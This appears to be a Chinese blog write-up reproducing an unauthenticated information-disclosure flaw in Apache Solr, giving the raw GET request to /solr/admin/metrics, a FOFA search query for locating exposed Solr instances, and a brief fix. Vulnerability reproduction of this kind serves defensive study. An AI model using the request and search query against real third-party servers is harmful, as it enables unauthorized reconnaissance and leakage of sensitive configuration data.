【复现】Apache Solr信息泄漏漏洞_24

目录

一.概述

[二 .漏洞影响](#二 .漏洞影响)

三.漏洞复现

[1. 漏洞一:](#1. 漏洞一:)

四.修复建议:

[五. 搜索语法:](#五. 搜索语法:)

六.免责声明


一.概述

Apache Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

二 .漏洞影响

未授权导致一些敏感配置信息泄露,可能造成危害

三.漏洞复现

1. 漏洞一:

(1)漏洞类型: 信息泄露

(2)请求类型:GET

(3)复现

找到相关系统


请求漏洞点,查看burp响应


请求包

java 复制代码
GET /solr/admin/metrics HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-User: ?1
Te: trailers

四.修复建议:

改为禁止访问或删除

五. 搜索语法:

1.fofa

java 复制代码
app="APACHE-Solr"

六.免责声明

本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

相关推荐
Li zlun33 分钟前
MySQL 性能监控与安全管理完全指南
数据库·mysql·安全
YoungLime1 小时前
DVWA靶场之十:DOM 型 XSS(DOM Based Cross Site Scripting (XSS))
网络·安全·web安全
介一安全2 小时前
资产信息收集与指纹识别:HTTPX联动工具实战指南
网络安全·安全性测试·httpx·安全工具
mooyuan天天4 小时前
CTFHub 信息泄露通关笔记10:SVN泄露(2种方法)
web安全·信息泄露·ctfhub·svn泄露·源码泄露·dvcs ripper
xiejava10185 小时前
开源安全管理平台wazuh-文件完整性监控FIM
安全·开源·wazuh
unable code6 小时前
攻防世界-Web-easyupload
网络安全·web·ctf
国科安芯6 小时前
ASP4644芯片低功耗设计思路解析
网络·单片机·嵌入式硬件·安全
Bruce_Liuxiaowei9 小时前
MQTT协议在物联网环境中的安全风险与防范指南
运维·网络·物联网·安全·网络安全
青衫客3613 小时前
基于 Python 构建的安全 gRPC 服务——TLS、mTLS 与 Casbin 授权实战
python·安全·微服务
驱动开发00714 小时前
虚拟麦克风驱动下载,支持将手机话筒映射成PC端麦克风
驱动开发·安全